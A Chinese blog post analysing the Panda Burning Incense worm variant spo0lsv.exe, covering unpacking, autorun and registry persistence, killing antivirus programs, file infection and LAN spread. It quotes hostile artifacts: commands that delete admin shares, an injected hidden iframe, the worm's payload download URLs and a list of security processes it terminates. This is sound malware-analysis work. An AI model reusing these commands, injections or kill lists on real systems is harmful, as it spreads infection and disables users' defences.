跳至主要内容

熊猫烧香变种 spo0lsv.exe 病毒分析

http://ift.tt/2Erx4OJ

[TOC]

0x0 样本信息&分析平台

1 样本信息

病毒名:spo0lsv.exe
大小: 30001 bytes
壳信息:FSG v2.0
MD5: 512301C535C88255C9A252FDF70B7A03
SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C

2 分析平台&使用工具

  • win7 x86
  • od
  • IDA

0x1 主要病毒行为

  • 更改可执行文件图标,内容等信息
  • 强制关闭杀毒、任务管理器等软件
  • 设置开机自启病毒
  • 设置用户点击磁盘启动病毒
  • 更改html,php等网络文件

0x2 脱壳

脱壳

首先通过PEID可以发现这个区段是不对的,通过查壳工具发现这个壳是FSG 2.0,这个壳是非常好脱的

病毒在0x004001D1 这个位置进行了IAT修复

0x0041012C是IAT表的地址,通过观察内存分布可以看出,这个壳把本来IAT中全0结束改为0x7FFFFFFF结束,这样ImportRec在修复的时候就遍历不到其他的导入表了,因此修改成了全0结尾

ImportRec 无法识别netapi.dll, 需要手动修复,或者使用x32dbg 修复

0x3 病毒分析

1 把自身拷贝到系统文件

在所有盘创建一个ini文件夹
写入一些自启的字符串

字符串的作用是使得打开改盘就自动运行病毒文件

更改这个文件属性为:只读,隐藏,并且为操作系统专用

更改exe文件属性,


更改XX:\setup.exe 为只读,隐藏属性,并且为操作系统专用

获取系统目录

2 添加注册表,设置开机自启

设置病毒开机自启

并且通过设置注册表中SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue的值,强制设置不显示隐藏文件

3 删除共享磁盘文件

cmd.exe /c net share A$ /del /y
cmd.exe /c net share admin$ /del /y 
cmd.exe /c net share C$ /del /y


4 病毒守护,关闭杀软,任务管理器,注册表等进程

进程提权,debug权限


查找杀毒软件,任务管理器等程序,找到关闭

通过FindWindow的方式来查找程序,并监控以下程序

防火墙进程
VirusScan
NOD32
网镖
杀毒
毒霸
瑞星
江民
超级兔子
优化大师
木马清道夫
木馬清道夫
卡巴斯基反病毒
Symantec AntiVirus
Duba
esteem procs
绿鹰PC
密码防盗
噬菌体
木马辅助查找器
System Safety Monitor
Wrapped gift Killer.
WinsockExpert
游戏木马检测大师
超级巡警
msctls_statusbar32
pjf(ustc)
IceSword
Mcshield.exe
VsTskMgr.exe
naPrdMgr.exe
UpdaterUI.exe
TBMon.exe
scan32.exe
Ravmond.exe
CCenter.exe.
.RavTask.exe.
Rav.exe.
Ravmon.exe
RavmonD.exe
RavStub.exe.
KVXP.kxp
KvMonXP.kxp
KVCenter.kxp
KVSrvXP.exe.
KRegEx.exe
UIHost.exe
TrojDie.kxp.
.FrogAgent.exe
Logo1_.exe
Logo_1.exe
Rundl132.exe
egedit.exe
msconfig.exe
taskmgr.exe

一旦发现上面的程序打开,就发送WM_QUIT消息,关闭窗口

5 删除服务和注册表

停掉的服务和删除的注册表如下




6 进行文件更改

遍历除了以下文件夹中的EXE,GHO,PIF,HTML等文件,进行修改

Recycled
Windows NT
WindowsUpdate
Windows Media Player
Outlook Express
InternetExplorer
NetMeeting
Common Files
ComPlus Applications
Messenger
InstallShield 
Installation Information
MSN
Microsoft Frontpage
Movie Maker
MSN Gamin Zone

进行磁盘遍历,如果是文件的话,判断文件的后缀名,但是不感染流媒体,MSN等程序

  • 如果后缀名是.GHO ,删除文件

对于html,htm,asp,aspx等文件,写入<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>

对于EXE文件,直接拷贝病毒文件覆盖源文件

7 下载网络文件,进行局域网传播

www.tom.com
www.163.com
www.sohu.com
www.google.com
http://www.update.whboy.net/worm.txt
http://www.ac86cn/66/up.txt

网络请求抓包如下

下载网络文件,保存本地

并且执行这个下载的网络文件

通过通过打开枚举本地IP的445和139端口,尝试打开打开共享文件,进行局域网病毒传播

445端口

139端口

0x4 总结

这个病毒文件其实是并不是很难,尤其是可以看到,其对本身的进程保护和关闭杀毒软件,都是在3环下完成的,并没有用到驱动文件。
但是,其起开的大量线程造成了分析的极度不变,需要极其的耐心来分析。

The post 熊猫烧香变种 spo0lsv.exe 病毒分析 appeared first on cole.

http://ift.tt/2CihFdD Win, reverse engineering, virus, 病毒, 逆向 February 14, 2018 at 03:49AM

评论

发表评论

此博客中的热门博文

RS232 学习笔记

https://ift.tt/2zh0MU7 什么是RS232 RS232的传输方式 RS232的分类 数据终端设备:DTE(Data Terminal Equipment) 数据通信设备:DCE:Data Communication Equipment 常见的管脚接口和脚位的意义 发展 RJ-45接口和DB-9 Console 及DB-9 Modem接口的对应关系 9针串口 各脚位的意义 常见的串口设置 波特率(Bps) 数据位(Data Bits) 奇偶校验(Parity) 停止位(Stop Bits) 流量控制 什么是RS232 RS232 是 美国电子工业联盟 指定的串行通信的接口标准。 原始编号全称是EIA-RS-232(简称232,RS232)。他被广泛用于计算机串行接口外设连接。 RS232 标准的全称是EIA-RS-232C标准,其中EIA代表美国电子工业联盟,RS(Rrcommand Standard)代表推荐标准,232是标识号,C代表232的第三次修改。 RS232的传输方式 在rs232标准中,字符是以一串行的比特串来一个接一个断点以串列(serial)的方式传输的(所以又叫串口)。 优点 传输线少,配线简单,发送距离可以较远 最常见的编码格式是异步起停( Asynchronous Start-stop )格式,它使用一个起始比特后面紧跟7个或8个数据比特(bit),然后是奇偶校验比特,最后是一个或两个停止比特。所以发送一个字符至少需要10比特,带来的效果是使全部的传输速率,发送信号的速率以10划分。 一个最平常的代替异步起停的方式是使用高级数据链路控制协议(HDLC)。 RS232在设计之初就是用来连接调制解调器做传输之用的,也因此它的脚位意义通常和调制解调器传输有关。 RS232的分类 根据不同的线路用来发送和接受信号的不同,妇女为 数据终端设备:DTE(Data Terminal Equipment) 计算和终端设备有DTE连接器 数据通信设备:DCE:Data Communication Equipment 调制解调器和打印机有DCE连接器 不是很准确, 但是可以大概分为这两类 常见的管脚接口和脚位的意义 发展 RS232...

32位ARM汇编语言(四)数据处理指令

http://ift.tt/2Gwa4v5 基本指令介绍 数据传送指令 比较指令 cmp{条件}操作数1,操作数2 CMN{条件}操作数1,操作数2 TST{条件},操作数1,操作数2 TEQ{条件} 操作数1,操作数2 算数逻辑运算指令 ADD{条件}{S}目的寄存器,操作数1,操作数2 ADC{条件}{S}目的寄存器,操作数1,操作数2 RSB{条件}{S}目的寄存器,操作数1,操作数2 RSC{条件}{S}目的寄存器,操作数1,操作数2 AND{条件}{S}目的寄存器,操作数1,操作数2 EOR{条件}{S}目的寄存器,操作数1,操作数2 BIC{条件}{S}目的寄存器,操作数1,操作数2 基本指令介绍 数据传送指令 数据传送指令用于在寄存器和储存器中之间进行数据的双向传输 比如:MOV ,MVN 算数逻辑运算指令 完成常用的算术与逻辑运算,该类指令不但将运算结果保存在目的寄存器中,同时更新CPSR中相应条件表示位 比如:ADD,ADC,SUB,SBC,RSB,RSC,AND,ORR,EOR,BIC 比较指令 不保存运算结果,只更新CPSR中相应的条件标志位 比如:CMP,CMN,TST,TEQ 数据传送指令 指令 描述 MOV{条件}{S}目的寄存器,操作数 数据传送指令 MVN{条件}{S}目的寄存器,操作数 数据取反传送指令 {S}选项决定指令的操作是否影响CPSR中条件标志位的值 MVN与MOV不同之处是在传送之前按位被取反 __asm__ ("mov ri,r0“); //将寄存器R0的值传送到寄存器R1 __asm__(”mov r1,r0,lsl#3"); //将寄存器R0的值左移3位后传到R1 __asm__(“mov pc,lr"); //将寄存器lr的值传送到pc,常用于子程序返回 __asm__("mvn r0,#0”); // 将立即数0 取反传送到寄存器R0中,完成后R0=-1 比较指令 指令 描述 CMP{条件}操作数1,操作数2 比较指令 CMN{条件}操作数1,操作数2 比较反值指令 TST{条件...

32位ARM汇编语言(二)ARM 汇编语言特点

http://ift.tt/2FpIH4w 两种不同风格的ARM指令 特点1:LDR/STR结构 特点2:8中寻址方式 特点3:指令后缀 特点4:条件执行后缀 特点5:多级指令流水线 两种不同风格的ARM指令 ARM 官方的ARM汇编指令:指令一般用大写,Windows中IDE开发环境常用,如 LDR RO,[R1] GNU风格的ARM汇编:指令一般用小写字母,linux中常用,如: ldr r0,[r1] 特点1:LDR/STR结构 ARM 采用RISC(Reduced Instruction Set Computer 中文:精简指令计算机)结构,cpu本身不能直接读取内存,需要先将内存中的内容加载到cpu中的通用寄存器中,而后才能被cpu处理 ldr(load register)指令将内存内容加载入通用寄存器 str(store register)指令将寄存器内容存入内存空间中 ldr/str组合用来实现ARM cpu和内存的数据交互 特点2:8中寻址方式 寻址方式 示例 寄存器寻址 mov r1,r2 立即寻址 mov r0,#0xff00 寄存器移位寻址 mov r0,r1,lsl#3 寄存器间接寻址 ldr r1,[r2] 基址变址寻址 ldr r1,[r2,#4] 多寄存器寻址 ldmia r1!,{r2-r7,r12} 堆栈寻址 stmfd sp!,{r2-r7,lr} 相对寻址 beq sign 特点3:指令后缀 虽然ARM的汇编指令不是很多,但是通常可以在指令后面跟上后缀,变成不同的指令,常用的指令有: 常用指令后缀 解释 B(byte) 功能不变,操作长度变为8位 H(half word) 功能不变,长度变为16位 S(signed) 功能不变,操作数变为有符号(如ldrsh,ldrsb) S(S标志) 功能不练,影响CPSR标志位,如(mov 和movs,movs r0,#0) 特点4:条件执行后缀 条件码 助记符 助记符全拼 说明 检测条件 0000 EQ equal 等于0 Z=1 0001 NE not equal...